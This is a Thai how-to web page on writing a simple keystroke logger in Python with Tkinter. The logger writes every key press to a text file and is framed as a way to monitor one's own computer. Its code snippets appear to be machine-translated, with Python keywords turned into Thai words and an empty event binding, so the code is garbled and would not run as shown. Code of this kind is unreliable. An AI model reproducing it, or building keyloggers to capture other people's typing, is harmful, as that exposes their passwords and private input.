วิธีสร้าง Keylogger โดยใช้ Python

ผู้หญิงกำลังดูคอมพิวเตอร์มองข้ามไหล่

จับภาพการกดแป้นพิมพ์และบันทึกลงในไฟล์

เครดิตรูปภาพ: Jupiterimages/Photos.com/Getty Images

คุณสามารถสร้างโปรแกรม keylogger โดยใช้ Python เพื่อบันทึกการกดแป้นที่พิมพ์ผ่านแป้นพิมพ์ของคอมพิวเตอร์ การกดแป้นจะถูกบันทึกไว้ในไฟล์ข้อความ และจะบันทึกการป้อนข้อมูลทั้งหมด คุณสามารถใช้ตัวบันทึกคีย์เพื่อตรวจสอบกิจกรรมบนคอมพิวเตอร์ของคุณ

ขั้นตอนที่ 1

เปิด IDLE คลิกเมนู "ไฟล์" และเลือก "หน้าต่างใหม่" เพื่อเปิดหน้าต่างใหม่ กด Ctrl และ S เพื่อเปิดหน้าต่าง "บันทึกเป็น" ใช้ "getKeyLogger" เป็นชื่อไฟล์แล้วคลิก "บันทึก"

วีดีโอประจำวันนี้

ขั้นตอนที่ 2

เพิ่มบรรทัดโค้ดต่อไปนี้เพื่อนำเข้าเนมสเปซ "Tkinter" และกำหนดเส้นทางของไฟล์ที่คุณต้องการใช้เพื่อบันทึก:

นำเข้า Tkinter เป็น tk myFile = open("C:/temp/keyFile.txt", "w")

ขั้นตอนที่ 3

คัดลอกและวางรหัสต่อไปนี้เพื่อบันทึกการกดแป้นพิมพ์ทุกครั้งไปยังไฟล์:

กดปุ่ม def (เหตุการณ์): ถ้า event.keysym == 'Escape': main.destroy () keyPressed = event.char myFile.write (keyPressed)

ขั้นตอนที่ 4

เพิ่มรหัสต่อไปนี้เพื่อให้ผู้ใช้ทราบว่าเขาสามารถเริ่มพิมพ์ได้ และสามารถกด Esc เพื่อสิ้นสุดโปรแกรมได้:

หลัก = tk Tk() พิมพ์ "กดปุ่มใดก็ได้ (ปุ่ม Escape เพื่อออก):" main.bind_all('', กดปุ่ม) main.withdraw() main.mainloop() myFile.close()

ขั้นตอนที่ 5

คลิกปุ่มเริ่ม "Windows" และพิมพ์ "cmd" ในช่อง "ค้นหาโปรแกรมและไฟล์" กด Enter เพื่อเปิดพรอมต์คำสั่ง ไปที่ "C:\Python" และพิมพ์ "python getKeyLogger" กด Enter เพื่อเรียกใช้โปรแกรม ไปที่ "C:/temp/" และดับเบิลคลิก "keyFile.txt" เพื่อดูข้อมูลการกดแป้นพิมพ์

หมวดหมู่

ล่าสุด

วิธีการคำนวณอัตราส่วนการสูญเสียแพ็คเก็ต

วิธีการคำนวณอัตราส่วนการสูญเสียแพ็คเก็ต

เมื่อการเชื่อมต่ออินเทอร์เน็ตของคุณช้า อาจเป็นผ...

ฉันจะเข้าถึงอินเทอร์เน็ตได้เร็วขึ้นในประเทศได้อย่างไร

ฉันจะเข้าถึงอินเทอร์เน็ตได้เร็วขึ้นในประเทศได้อย่างไร

หากคุณอาศัยอยู่ในพื้นที่ชนบท คุณอาจเข้าถึงได้เฉ...

วิธีปิด DHCP บน Netgear

วิธีปิด DHCP บน Netgear

เราเตอร์กำหนดค่าที่อยู่ IP โดยอัตโนมัติ โดยทำห...